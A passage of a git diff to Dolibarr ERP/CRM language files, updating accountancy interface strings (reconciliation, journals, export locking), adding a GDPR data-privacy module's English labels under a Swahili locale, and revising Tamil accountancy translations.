report lines not already bound with a fee accounting account DescVentilExpenseReport=Consult here the list of expense report lines bound (or not) to a fee accounting account @@ -278,30 +285,31 @@ DescVentilExpenseReportMore=If you setup accounting account on type of expense r DescVentilDoneExpenseReport=Consult here the list of the lines of expenses reports and their fees accounting account Closure=Annual closure -DescClosure=Consult here the number of movements by month who are not validated & fiscal years already open -OverviewOfMovementsNotValidated=Step 1/ Overview of movements not validated. (Necessary to close a fiscal year) -AllMovementsWereRecordedAsValidated=All movements were recorded as validated -NotAllMovementsCouldBeRecordedAsValidated=Not all movements could be recorded as validated -ValidateMovements=Validate movements +DescClosure=Consult here the number of movements by month not yet validated & locked +OverviewOfMovementsNotValidated=Overview of movements not validated and locked +AllMovementsWereRecordedAsValidated=All movements were recorded as validated and locked +NotAllMovementsCouldBeRecordedAsValidated=Not all movements could be recorded as validated and locked +ValidateMovements=Validate and lock movements... DescValidateMovements=Any modification or deletion of writing, lettering and deletes will be prohibited. All entries for an exercise must be validated otherwise closing will not be possible ValidateHistory=Bind Automatically AutomaticBindingDone=Automatic bindings done (%s) - Automatic binding not possible for some record (%s) -ErrorAccountancyCodeIsAlreadyUse=Error, you cannot delete this accounting account because it is used -MvtNotCorrectlyBalanced=Movement not correctly balanced. Debit = %s | Credit = %s +ErrorAccountancyCodeIsAlreadyUse=Error, you cannot remove or disable this account of chart of account because it is used +MvtNotCorrectlyBalanced=Movement not correctly balanced. Debit = %s & Credit = %s Balancing=Balancing FicheVentilation=Binding card GeneralLedgerIsWritten=Transactions are written in the Ledger GeneralLedgerSomeRecordWasNotRecorded=Some of the transactions could not be journalized. If there is no other error message, this is probably because they were already journalized. -NoNewRecordSaved=No more record to journalize -ListOfProductsWithoutAccountingAccount=List of products not bound to any accounting account +NoNewRecordSaved=No more record to transfer +ListOfProductsWithoutAccountingAccount=List of products not bound to any account of chart of account ChangeBinding=Change the binding Accounted=Accounted in ledger NotYetAccounted=Not yet transferred to accounting ShowTutorial=Show Tutorial NotReconciled=Not reconciled -WarningRecordWithoutSubledgerAreExcluded=Warning, all operations without subledger account defined are filtered and excluded from this view +WarningRecordWithoutSubledgerAreExcluded=Warning, all lines without subledger account defined are filtered and excluded from this view +AccountRemovedFromCurrentChartOfAccount=Accounting account that does not exist in the current chart of accounts ## Admin BindingOptions=Binding options @@ -317,9 +325,10 @@ AccountingJournalType1=Miscellaneous operations AccountingJournalType2=Sales AccountingJournalType3=Purchases AccountingJournalType4=Bank -AccountingJournalType5=Expenses report +AccountingJournalType5=Expense reports AccountingJournalType8=Inventory AccountingJournalType9=Has-new +GenerationOfAccountingEntries=Generation of accounting entries ErrorAccountingJournalIsAlreadyUse=This journal is already use AccountingAccountForSalesTaxAreDefinedInto=Note: Accounting account for Sales tax are defined into menu %s - %s NumberOfAccountancyEntries=Number of entries @@ -327,10 +336,13 @@ NumberOfAccountancyMovements=Number of movements ACCOUNTING_DISABLE_BINDING_ON_SALES=Disable binding & transfer in accountancy on sales (customer invoices will not be taken into account in accounting) ACCOUNTING_DISABLE_BINDING_ON_PURCHASES=Disable binding & transfer in accountancy on purchases (vendor invoices will not be taken into account in accounting) ACCOUNTING_DISABLE_BINDING_ON_EXPENSEREPORTS=Disable binding & transfer in accountancy on expense reports (expense reports will not be taken into account in accounting) +ACCOUNTING_ENABLE_LETTERING=Enable the lettering function in the accounting ## Export -NotifiedExportDate=Flag exported lines as exported (modification of the lines will not be possible) -NotifiedValidationDate=Validate the exported entries (modification or deletion of the lines will not be possible) +NotExportLettering=Do not export the lettering when generating the file +NotifiedExportDate=Flag exported lines as Exported (to modify a line, you will need to delete the whole transaction and re-transfert it into accounting) +NotifiedValidationDate=Validate and Lock the exported entries (same effect than the "%s" feature, modification and deletion of the lines will DEFINITELY not be possible) +DateValidationAndLock=Date validation and lock ConfirmExportFile=Confirmation of the generation of the accounting export file ? ExportDraftJournal=Export draft journal Modelcsv=Model of export @@ -394,6 +406,26 @@ Range=Range of accounting account Calculated=Calculated Formula=Formula +## Reconcile +LetteringAuto=Reconcile auto +LetteringManual=Reconcile manual +Unlettering=Unreconcile +UnletteringAuto=Unreconcile auto +UnletteringManual=Unreconcile manual +AccountancyNoLetteringModified=No reconcile modified +AccountancyOneLetteringModifiedSuccessfully=One reconcile successfully modified +AccountancyLetteringModifiedSuccessfully=%s reconcile successfully modified +AccountancyNoUnletteringModified=No unreconcile modified +AccountancyOneUnletteringModifiedSuccessfully=One unreconcile successfully modified +AccountancyUnletteringModifiedSuccessfully=%s unreconcile successfully modified + +## Confirm box +ConfirmMassUnletteringAuto=Bulk auto unreconcile confirmation +ConfirmMassUnletteringManual=Bulk manual unreconcile confirmation +ConfirmMassUnletteringQuestion=Are you sure you want to unreconcile the %s selected record(s)? +ConfirmMassDeleteBookkeepingWriting=Bulk Delete confirmation +ConfirmMassDeleteBookkeepingWritingQuestion=This will delete the transaction from the accounting (all lines related to the same transaction will be deleted) Are you sure you want to delete the %s selected record(s)? + ## Error SomeMandatoryStepsOfSetupWereNotDone=Some mandatory steps of setup was not done, please complete them ErrorNoAccountingCategoryForThisCountry=No accounting account group available for country %s (See Home - Setup - Dictionaries) @@ -406,6 +438,10 @@ Binded=Lines bound ToBind=Lines to bind UseMenuToSetBindindManualy=Lines not yet bound, use menu %s to make the binding manually SorryThisModuleIsNotCompatibleWithTheExperimentalFeatureOfSituationInvoices=Sorry this module is not compatible with the experimental feature of situation invoices +AccountancyErrorMismatchLetterCode=Mismatch in reconcile code +AccountancyErrorMismatchBalanceAmount=The balance (%s) is not equal to 0 +AccountancyErrorLetteringBookkeeping=Errors have occurred concerning the transactions: %s +ErrorAccountNumberAlreadyExists=The accounting number %s already exists ## Import ImportAccountingEntries=Accounting entries @@ -432,6 +468,5 @@ FECFormatMulticurrencyCode=Multicurrency code (Idevise) DateExport=Date export WarningReportNotReliable=Warning, this report is not based on the Ledger, so does not contains transaction modified manually in the Ledger. If your journalization is up to date, the bookkeeping view is more accurate. ExpenseReportJournal=Expense Report Journal -InventoryJournal=Inventory Journal NAccounts=%s accounts diff --git a/htdocs/langs/sw_SW/datapolicy.lang b/htdocs/langs/sw_SW/datapolicy.lang new file mode 100644 index 00000000000..aad90c75e2f --- /dev/null +++ b/htdocs/langs/sw_SW/datapolicy.lang @@ -0,0 +1,92 @@ +# Copyright (C) 2018 Nicolas ZABOURI +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . + +# Module label 'ModuledatapolicyName' +Module4100Name = Data Privacy Policy +# Module description 'ModuledatapolicyDesc' +Module4100Desc = Module to manage Data Privacy (Conformity with the GDPR) + +# +# Administration page +# +datapolicySetup = Module Data Privacy Policy Setup +Deletion = Deletion of data +datapolicySetupPage = Depending of laws of your countries (Example Article 5 of the GDPR), personal data must be kept for a period not exceeding that necessary for the purposes for which they were collected, except for archival purposes.
      The deletion will be done automatically after a certain duration without event (the duration which you will have indicated below). +NB_MONTHS = %s months +ONE_YEAR = 1 year +NB_YEARS = %s years +DATAPOLICY_TIERS_CLIENT = Customer +DATAPOLICY_TIERS_PROSPECT = Prospect +DATAPOLICY_TIERS_PROSPECT_CLIENT = Prospect/Customer +DATAPOLICY_TIERS_NIPROSPECT_NICLIENT = Nor prospect/Nor customer +DATAPOLICY_TIERS_FOURNISSEUR = Supplier +DATAPOLICY_CONTACT_CLIENT = Customer +DATAPOLICY_CONTACT_PROSPECT = Prospect +DATAPOLICY_CONTACT_PROSPECT_CLIENT = Prospect/Customer +DATAPOLICY_CONTACT_NIPROSPECT_NICLIENT = Nor prospect/Nor customer +DATAPOLICY_CONTACT_FOURNISSEUR = Supplier +DATAPOLICY_ADHERENT = Member +DATAPOLICY_Tooltip_SETUP = Type of contact - Indicate your choices for each type. +DATAPOLICYMail = Emails Setup +DATAPOLICYSUBJECTMAIL = Subject of email +DATAPOLICYCONTENTMAIL = Content of the email +DATAPOLICYSUBSITUTION = You can use the following variables in your email (LINKACCEPT allows to create a link recording the agreement of the person, LINKREFUSED makes it possible to record the refusal of the person): +DATAPOLICYACCEPT = Message after agreement +DATAPOLICYREFUSE = Message after desagreement +SendAgreementText = You can send a GDPR email to all your relevant contacts (who have not yet received an email and for which you have not registered anything about their GDPR agreement). To do this, use the following button. +SendAgreement = Send emails +AllAgreementSend = All emails have been sent +TXTLINKDATAPOLICYACCEPT = Text for the link "agreement" +TXTLINKDATAPOLICYREFUSE = Text for the link "desagreement" + + +# +# Extrafields +# +DATAPOLICY_BLOCKCHECKBOX = GDPR : Processing of personal data +DATAPOLICY_consentement = Consent obtained for the processing of personal data +DATAPOLICY_opposition_traitement = Opposes the processing of his personal data +DATAPOLICY_opposition_prospection = Opposes the processing of his personal data for the purposes of prospecting + +# +# Popup +# +DATAPOLICY_POPUP_ANONYME_TITLE = Anonymize a thirdparty +DATAPOLICY_POPUP_ANONYME_TEXTE = You can not delete this contact from Dolibarr because there are related items. In accordance with the GDPR, you will make all this data anonymous to respect your obligations. Would you like to continue ? + +# +# Button for portability +# +DATAPOLICY_PORTABILITE = Portability GDPR +DATAPOLICY_PORTABILITE_TITLE = Export of personal data +DATAPOLICY_PORTABILITE_CONFIRMATION = You want to export the personal data of this contact. Are you sure ? + +# +# Notes added during an anonymization +# +ANONYMISER_AT = Anonymised the %s + +# V2 +DATAPOLICYReturn = GDPR Validation +DATAPOLICY_date = Date of agreement/desagreement GDPR +DATAPOLICY_send = Date sending agreement email +DATAPOLICYReturn = GDPR Validation +DATAPOLICY_SEND = Send GDPR email +MailSent = Email has been sent + +# ERROR +ErrorSubjectIsRequired = Error : The subject of email is required. Indicate it in the module setup +=Due to a technical problem, we were unable to register your choice. We apologize for that. Contact us to send us your choice. +NUMBER_MONTH_BEFORE_DELETION = Number of month before deletion diff --git a/htdocs/langs/ta_IN/accountancy.lang b/htdocs/langs/ta_IN/accountancy.lang index d9667295c39..1e318d0aeab 100644 --- a/htdocs/langs/ta_IN/accountancy.lang +++ b/htdocs/langs/ta_IN/accountancy.lang @@ -14,8 +14,8 @@ ACCOUNTING_EXPORT_ENDLINE=வண்டி திரும்பும் வக ACCOUNTING_EXPORT_PREFIX_SPEC=கோப்பு பெயருக்கான முன்னொட்டைக் குறிப்பிடவும் ThisService=இந்த சேவை ThisProduct=இந்த தயாரிப்பு -DefaultForService=சேவைக்கான இயல்புநிலை -DefaultForProduct=தயாரிப்புக்கான இயல்புநிலை +DefaultForService=Default for services +DefaultForProduct=Default for products ProductForThisThirdparty=இந்த மூன்றாம் தரப்பினருக்கான தயாரிப்பு ServiceForThisThirdparty=இந்த மூன்றாம் தரப்பினருக்கான சேவை CantSuggest=பரிந்துரைக்க முடியாது @@ -59,6 +59,7 @@ MainAccountForSuppliersNotDefined=விற்பனையாளர்களு MainAccountForUsersNotDefined=பயனர்களுக்கான பிரதான கணக்கியல் கணக்கு அமைப்பில் வரையறுக்கப்படவில்லை MainAccountForVatPaymentNotDefined=VAT செலுத்துதலுக்கான முதன்மை கணக்கு கணக்கு அமைப்பில் வரையறுக்கப்படவில்லை MainAccountForSubscriptionPaymentNotDefined=சந்தா செலுத்துதலுக்கான முதன்மை கணக்கு கணக்கு அமைப்பில் வரையறுக்கப்படவில்லை +UserAccountNotDefined=Accounting account for user not defined in setup AccountancyArea=கணக்கியல் பகுதி AccountancyAreaDescIntro=கணக்கியல் தொகுதியின் பயன்பாடு பல படிகளில் செய்யப்படுகிறது: @@ -100,7 +101,8 @@ ShowAccountingAccount=கணக்கியல் கணக்கைக் க ShowAccountingJournal=கணக்கியல் பத்திரிகையைக் காட்டு ShowAccountingAccountInLedger=லெட்ஜரில் கணக்கியல் கணக்கைக் காட்டு ShowAccountingAccountInJournals=பத்திரிகைகளில் கணக்கியல் கணக்கைக் காட்டு -AccountAccountingSuggest=கணக்கியல் கணக்கு பரிந்துரைக்கப்பட்டது +DataUsedToSuggestAccount=Data used to suggest account +AccountAccountingSuggest=Account suggested MenuDefaultAccounts=இயல்புநிலை கணக்குகள் MenuBankAccounts=வங்கி கணக்குகள் MenuVatAccounts=வாட் கணக்குகள் @@ -125,6 +127,7 @@ WriteBookKeeping=Record transactions in accounting Bookkeeping=பேரேடு BookkeepingSubAccount=சப்லெட்ஜர் AccountBalance=கணக்கு இருப்பு +AccountBalanceSubAccount=Sub-accounts balance ObjectsRef=மூல பொருள் குறிப்பு CAHTF=வரிக்கு முன் மொத்த கொள்முதல் விற்பனையாளர் TotalExpenseReport=மொத்த செலவு அறிக்கை @@ -164,40 +167,45 @@ ACCOUNTANCY_COMBO_FOR_AUX=துணைக் கணக்கிற்கான ACCOUNTING_DATE_START_BINDING=கணக்கியலில் பிணைப்பு மற்றும் பரிமாற்றத்தைத் தொடங்குவதற்கான தேதியை வரையறுக்கவும். இந்த தேதிக்கு கீழே, பரிவர்த்தனைகள் கணக்கியலுக்கு மாற்றப்படாது. ACCOUNTING_DEFAULT_PERIOD_ON_TRANSFER=On accountancy transfer, what is the period selected by default -ACCOUNTING_SELL_JOURNAL=பத்திரிக்கையை விற்கவும் -ACCOUNTING_PURCHASE_JOURNAL=கொள்முதல் இதழ் -ACCOUNTING_MISCELLANEOUS_JOURNAL=இதர இதழ் +ACCOUNTING_SELL_JOURNAL=Sales journal (sales and returns) +ACCOUNTING_PURCHASE_JOURNAL=Purchase journal (purchase and returns) +ACCOUNTING_BANK_JOURNAL=Cash journal (receipts and disbursements) ACCOUNTING_EXPENSEREPORT_JOURNAL=செலவு அறிக்கை இதழ் -ACCOUNTING_SOCIAL_JOURNAL=சமூக இதழ் +ACCOUNTING_MISCELLANEOUS_JOURNAL=General journal ACCOUNTING_HAS_NEW_JOURNAL=புதிய ஜர்னல் உள்ளது +ACCOUNTING_INVENTORY_JOURNAL=Inventory journal +ACCOUNTING_SOCIAL_JOURNAL=சமூக இதழ் ACCOUNTING_RESULT_PROFIT=முடிவு கணக்கு கணக்கு (லாபம்) ACCOUNTING_RESULT_LOSS=முடிவு கணக்கு கணக்கு (இழப்பு) ACCOUNTING_CLOSURE_DEFAULT_JOURNAL=மூடல் இதழ் -ACCOUNTING_ACCOUNT_TRANSFER_CASH=இடைநிலை வங்கி பரிமாற்றத்தின் கணக்கியல் கணக்கு +ACCOUNTING_ACCOUNT_TRANSFER_CASH=Account (from the Chart Of Account) to be used as the account for transitional bank transfers TransitionalAccount=இடைக்கால வங்கி பரிமாற்ற கணக்கு -ACCOUNTING_ACCOUNT_SUSPENSE=காத்திருப்பின் கணக்கு கணக்கு -DONATION_ACCOUNTINGACCOUNT=நன்கொடைகளை பதிவு செய்ய கணக்கு கணக்கு -ADHERENT_SUBSCRIPTION_ACCOUNTINGACCOUNT=சந்தாக்களை பதிவு செய்ய கணக்கியல் கணக்கு +ACCOUNTING_ACCOUNT_SUSPENSE=Account (from the Chart Of Account) to be used as the account for unallocated funds either received or paid i.e. funds in "wait[ing]" +DONATION_ACCOUNTINGACCOUNT=Account (from the Chart Of Account) to be used to register donations (Donation module) +ADHERENT_SUBSCRIPTION_ACCOUNTINGACCOUNT=Account (from the Chart Of Account) to be used to register memberships subscriptions (Membership module - if membership recorded without invoice) -ACCOUNTING_ACCOUNT_CUSTOMER_DEPOSIT=வாடிக்கையாளர் வைப்புத்தொகையை பதிவு செய்ய இயல்புநிலையாக கணக்கு கணக்கு +ACCOUNTING_ACCOUNT_CUSTOMER_DEPOSIT=Account (from the Chart Of Account) to be used as the default account to register customer deposit UseAuxiliaryAccountOnCustomerDeposit=Store customer account as individual account in subsidiary ledger for lines of down payments (if disabled, individual account for down payment lines will remain empty) +ACCOUNTING_ACCOUNT_SUPPLIER_DEPOSIT=Account (from the Chart Of Account) to be used as the default +UseAuxiliaryAccountOnSupplierDeposit=Store supplier account as individual account in subsidiary ledger for lines of down payments (if disabled, individual account for down payment lines will remain empty) +ACCOUNTING_ACCOUNT_CUSTOMER_RETAINED_WARRANTY=Accounting account by default to register customer retained warranty -ACCOUNTING_PRODUCT_BUY_ACCOUNT=வாங்கிய பொருட்களுக்கான இயல்புநிலை கணக்கு கணக்கு (தயாரிப்பு தாளில் வரையறுக்கப்படவில்லை என்றால் பயன்படுத்தப்படும்) -ACCOUNTING_PRODUCT_BUY_INTRA_ACCOUNT=EEC இல் வாங்கிய தயாரிப்புகளுக்கான இயல்புநிலை கணக்கு கணக்கு (தயாரிப்பு தாளில் வரையறுக்கப்படவில்லை என்றால் பயன்படுத்தப்படும்) -ACCOUNTING_PRODUCT_BUY_EXPORT_ACCOUNT=EEC இலிருந்து வாங்கப்பட்ட மற்றும் இறக்குமதி செய்யப்பட்ட தயாரிப்புகளுக்கான இயல்புநிலை கணக்கியல் கணக்கு (தயாரிப்பு தாளில் வரையறுக்கப்படவில்லை என்றால் பயன்படுத்தப்படும்) -ACCOUNTING_PRODUCT_SOLD_ACCOUNT=விற்கப்பட்ட பொருட்களுக்கான இயல்புநிலை கணக்கியல் கணக்கு (தயாரிப்பு தாளில் வரையறுக்கப்படவில்லை என்றால் பயன்படுத்தப்படும்) -ACCOUNTING_PRODUCT_SOLD_INTRA_ACCOUNT=EEC இல் விற்கப்படும் தயாரிப்புகளுக்கான இயல்புநிலை கணக்கு கணக்கு (தயாரிப்பு தாளில் வரையறுக்கப்படவில்லை என்றால் பயன்படுத்தப்படும்) -ACCOUNTING_PRODUCT_SOLD_EXPORT_ACCOUNT=EEC இலிருந்து விற்கப்பட்ட மற்றும் ஏற்றுமதி செய்யப்பட்ட தயாரிப்புகளுக்கான இயல்புநிலை கணக்கு கணக்கு (தயாரிப்பு தாளில் வரையறுக்கப்படவில்லை என்றால் பயன்படுத்தப்படும்) +ACCOUNTING_PRODUCT_BUY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased within same country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_BUY_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased from EEC to another EEC country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_BUY_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased and imported from any other foreign country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the sold products (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products sold from EEC to another EEC country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products sold and exported to any other foreign country (used if not defined in the product sheet) -ACCOUNTING_SERVICE_BUY_ACCOUNT=வாங்கிய சேவைகளுக்கு முன்னிருப்பாக கணக்கியல் கணக்கு (சேவை தாளில் வரையறுக்கப்படவில்லை என்றால் பயன்படுத்தப்படும்) -ACCOUNTING_SERVICE_BUY_INTRA_ACCOUNT=EEC இல் வாங்கிய சேவைகளுக்கான இயல்புநிலை கணக்கியல் கணக்கு (சேவைத் தாளில் வரையறுக்கப்படவில்லை என்றால் பயன்படுத்தப்படும்) -ACCOUNTING_SERVICE_BUY_EXPORT_ACCOUNT=EEC இலிருந்து வாங்கிய மற்றும் இறக்குமதி செய்யப்பட்ட சேவைகளுக்கான இயல்புநிலை கணக்கியல் கணக்கு (சேவைத் தாளில் வரையறுக்கப்படவில்லை என்றால் பயன்படுத்தப்படும்) -ACCOUNTING_SERVICE_SOLD_ACCOUNT=விற்கப்பட்ட சேவைகளுக்கு முன்னிருப்பாக கணக்கியல் கணக்கு (சேவை தாளில் வரையறுக்கப்படவில்லை என்றால் பயன்படுத்தப்படும்) -ACCOUNTING_SERVICE_SOLD_INTRA_ACCOUNT=EEC இல் விற்கப்படும் சேவைகளுக்கான இயல்புநிலை கணக்கியல் கணக்கு (சேவைத் தாளில் வரையறுக்கப்படவில்லை என்றால் பயன்படுத்தப்படும்) -ACCOUNTING_SERVICE_SOLD_EXPORT_ACCOUNT=EEC இலிருந்து விற்கப்பட்ட மற்றும் ஏற்றுமதி செய்யப்பட்ட சேவைகளுக்கான இயல்புநிலை கணக்கியல் கணக்கு (சேவைத் தாளில் வரையறுக்கப்படவில்லை என்றால் பயன்படுத்தப்படும்) +ACCOUNTING_SERVICE_BUY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased within same country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_BUY_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased from EEC to another EEC country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_BUY_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased and imported from other foreign country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the sold services (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services sold from EEC to another EEC country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services sold and exported to any other foreign country (used if not defined in the service sheet) Doctype=ஆவணத்தின் வகை Docdate=தேதி @@ -212,7 +220,8 @@ Codejournal=இதழ் JournalLabel=ஜர்னல் லேபிள் NumPiece=துண்டு எண் TransactionNumShort=எண் பரிவர்த்தனை -AccountingCategory=தனிப்பயன் குழு +AccountingCategory=Custom group of accounts +AccountingCategories=Custom groups of accounts GroupByAccountAccounting=பொதுப் பேரேடு கணக்கின்படி குழுவாக்கவும் GroupBySubAccountAccounting=சப்லெட்ஜர் கணக்கு மூலம் குழு AccountingAccountGroupsDesc=கணக்கியல் கணக்கின் சில குழுக்களை நீங்கள் இங்கே வரையறுக்கலாம். தனிப்பயனாக்கப்பட்ட கணக்கியல் அறிக்கைகளுக்கு அவை பயன்படுத்தப்படும். @@ -260,19 +269,20 @@ ShowSubtotalByGroup=துணைத்தொகையை நிலை வார Pcgtype=கணக்கு குழு PcgtypeDesc=கணக்கின் குழு சில கணக்கியல் அறிக்கைகளுக்கு முன் வரையறுக்கப்பட்ட 'வடிகட்டி' மற்றும் 'குழுப்படுத்துதல்' அளவுகோல்களாகப் பயன்படுத்தப்படுகிறது. எடுத்துக்காட்டாக, 'வருமானம்' அல்லது 'செலவு' என்பது செலவு/வருமான அறிக்கையை உருவாக்க தயாரிப்புகளின் கணக்கு கணக்குகளுக்கு குழுக்களாகப் பயன்படுத்தப்படுகிறது. +AccountingCategoriesDesc=Custom group of accounts can be used to group accounting accounts into one name to ease filter use or building of custom reports. Reconcilable=சமரசம் செய்யக்கூடியது TotalVente=வரிக்கு முந்தைய மொத்த விற்றுமுதல் TotalMarge=மொத்த விற்பனை அளவு -DescVentilCustomer=ஒரு தயாரிப்பு கணக்கியல் கணக்கிற்கு இணைக்கப்பட்ட (அல்லது இல்லை) வாடிக்கையாளர் இன்வாய்ஸ் வரிகளின் பட்டியலை இங்கே பார்க்கவும் -DescVentilMore=பெரும்பாலான சந்தர்ப்பங்களில், நீங்கள் முன் வரையறுக்கப்பட்ட தயாரிப்புகள் அல்லது சேவைகளைப் பயன்படுத்தி, தயாரிப்பு/சேவை அட்டையில் கணக்கு எண்ணை அமைத்தால், உங்கள் இன்வாய்ஸ் வரிகளுக்கும் உங்கள் கணக்கு விளக்கப்படத்தின் கணக்கியல் கணக்கிற்கும் இடையே உள்ள அனைத்து பிணைப்புகளையும் பயன்பாட்டினால் செய்ய முடியும். "%s" பொத்தானைக் கொண்டு ஒரு கிளிக் செய்யவும். தயாரிப்பு/சேவை கார்டுகளில் கணக்கு அமைக்கப்படாமல் இருந்தாலோ அல்லது கணக்கிற்குக் கட்டுப்படாத சில வரிகள் உங்களிடம் இருந்தாலோ, " %s " மெனுவிலிருந்து கைமுறையாகப் பிணைக்க வேண்டும். -DescVentilDoneCustomer=இன்வாய்ஸ் வாடிக்கையாளர்கள் மற்றும் அவர்களின் தயாரிப்பு கணக்கியல் கணக்கின் வரிகளின் பட்டியலை இங்கே பார்க்கவும் -DescVentilTodoCustomer=ஏற்கனவே தயாரிப்பு கணக்கியல் கணக்குடன் பிணைக்கப்படாத விலைப்பட்டியல் வரிகளை பிணைக்கவும் -ChangeAccount=பின்வரும் கணக்கியல் கணக்குடன் தேர்ந்தெடுக்கப்பட்ட வரிகளுக்கான தயாரிப்பு/சேவை கணக்கியல் கணக்கை மாற்றவும்: +DescVentilCustomer=Consult here the list of customer invoice lines bound (or not) to a product account from chart of account +DescVentilMore=In most cases, if you use predefined products or services and you set the account (from chart of account) on the product/service card, the application will be able to make all the binding between your invoice lines and the accounting account of your chart of accounts, just in one click with the button "%s". If account was not set on product/service cards or if you still have some lines not bound to an account, you will have to make a manual binding from the menu "%s". +DescVentilDoneCustomer=Consult here the list of the lines of invoices customers and their product account from chart of account +DescVentilTodoCustomer=Bind invoice lines not already bound with a product account from chart of account +ChangeAccount=Change the product/service account (from chart of account) for the selected lines with the following account: Vide=- -DescVentilSupplier=ஒரு தயாரிப்பு கணக்கியல் கணக்குடன் இணைக்கப்பட்ட அல்லது இன்னும் பிணைக்கப்படாத விற்பனையாளர் விலைப்பட்டியல் வரிகளின் பட்டியலை இங்கே பார்க்கவும் (கணக்கில் ஏற்கனவே மாற்றப்படாத பதிவு மட்டுமே தெரியும்) +DescVentilSupplier=Consult here the list of vendor invoice lines bound or not yet bound to a product account from chart of account (only record not already transfered in accountancy are visible) DescVentilDoneSupplier=விற்பனையாளர் விலைப்பட்டியல் மற்றும் அவர்களின் கணக்கியல் கணக்கின் வரிகளின் பட்டியலை இங்கே பார்க்கவும் DescVentilTodoExpenseReport=கட்டணம் கணக்கியல் கணக்குடன் ஏற்கனவே பிணைக்கப்படாத செலவு அறிக்கை வரிகளை பிணைக்கவும் DescVentilExpenseReport=கட்டணக் கணக்குக் கணக்கிற்குக் கட்டுப்பட்ட (அல்லது இல்லை) செலவு அறிக்கை வரிகளின் பட்டியலை இங்கே பார்க்கவும் @@ -280,24 +290,25 @@ DescVentilExpenseReportMore=நீங்கள் அமைப்பு இழ DescVentilDoneExpenseReport=செலவு அறிக்கைகள் மற்றும் அவற்றின் கட்டணக் கணக்குகளின் வரிகளின் பட்டியலை இங்கே பார்க்கவும் Closure=வருடாந்திர மூடல் -DescClosure=Consult here the number of movements by month who are not yet validated & locked +DescClosure=Consult here the number of movements by month not yet validated & locked OverviewOfMovementsNotValidated=Overview of movements not validated and locked AllMovementsWereRecordedAsValidated=All movements were recorded as validated and locked NotAllMovementsCouldBeRecordedAsValidated=Not all movements could be recorded as validated and locked -ValidateMovements=Validate and lock record... +ValidateMovements=Validate and lock movements... DescValidateMovements=எழுதுதல், எழுதுதல் மற்றும் நீக்குதல் ஆகியவற்றில் ஏதேனும் மாற்றம் அல்லது நீக்குதல் தடைசெய்யப்படும். ஒரு பயிற்சிக்கான அனைத்து உள்ளீடுகளும் சரிபார்க்கப்பட வேண்டும் இல்லையெனில் மூடுவது சாத்தியமில்லை ValidateHistory=தானாக பிணைக்கவும் AutomaticBindingDone=தானியங்கி பிணைப்புகள் செய்யப்பட்டன (%s) - சில பதிவுகளுக்கு தானியங்கு பிணைப்பு சாத்தியமில்லை (%s) +DoManualBindingForFailedRecord=You have to do a manual link for the %s row(s) not linked automatically. -ErrorAccountancyCodeIsAlreadyUse=பிழை, இந்தக் கணக்கியல் கணக்கு பயன்படுத்தப்படுவதால் உங்களால் நீக்க முடியாது +ErrorAccountancyCodeIsAlreadyUse=Error, you cannot remove or disable this account of chart of account because it is used MvtNotCorrectlyBalanced=Movement not correctly balanced. Debit = %s & Credit = %s Balancing=சமநிலைப்படுத்துதல் FicheVentilation=பைண்டிங் கார்டு GeneralLedgerIsWritten=பரிவர்த்தனைகள் லெட்ஜரில் எழுதப்பட்டுள்ளன GeneralLedgerSomeRecordWasNotRecorded=சில பரிவர்த்தனைகளை ஜர்னலிஸ் செய்ய முடியவில்லை. வேறு எந்த பிழைச் செய்தியும் இல்லை என்றால், அவை ஏற்கனவே ஜர்னலிஸ் செய்யப்பட்டதால் இருக்கலாம். NoNewRecordSaved=No more record to transfer -ListOfProductsWithoutAccountingAccount=எந்தவொரு கணக்கியல் கணக்கிற்கும் கட்டுப்படாத தயாரிப்புகளின் பட்டியல் +ListOfProductsWithoutAccountingAccount=List of products not bound to any account of chart of account ChangeBinding=பிணைப்பை மாற்றவும் Accounted=லெட்ஜரில் கணக்கு வைக்கப்பட்டுள்ளது NotYetAccounted=இன்னும் கணக்கியலுக்கு மாற்றப்படவில்லை @@ -320,9 +331,10 @@ AccountingJournalType1=இதர செயல்பாடுகள் AccountingJournalType2=விற்பனை AccountingJournalType3=கொள்முதல் AccountingJournalType4=வங்கி -AccountingJournalType5=செலவு அறிக்கை +AccountingJournalType5=Expense reports AccountingJournalType8=சரக்கு AccountingJournalType9=புதியது +GenerationOfAccountingEntries=Generation of accounting entries ErrorAccountingJournalIsAlreadyUse=இந்த இதழ் ஏற்கனவே பயன்பாட்டில் உள்ளது AccountingAccountForSalesTaxAreDefinedInto=குறிப்பு: விற்பனை வரிக்கான கணக்கு கணக்கு %s - %s a0904 NumberOfAccountancyEntries=உள்ளீடுகளின் எண்ணிக்கை @@ -330,10 +342,14 @@ NumberOfAccountancyMovements=இயக்கங்களின் எண்ண ACCOUNTING_DISABLE_BINDING_ON_SALES=விற்பனையில் கணக்கியலில் பிணைப்பு மற்றும் பரிமாற்றத்தை 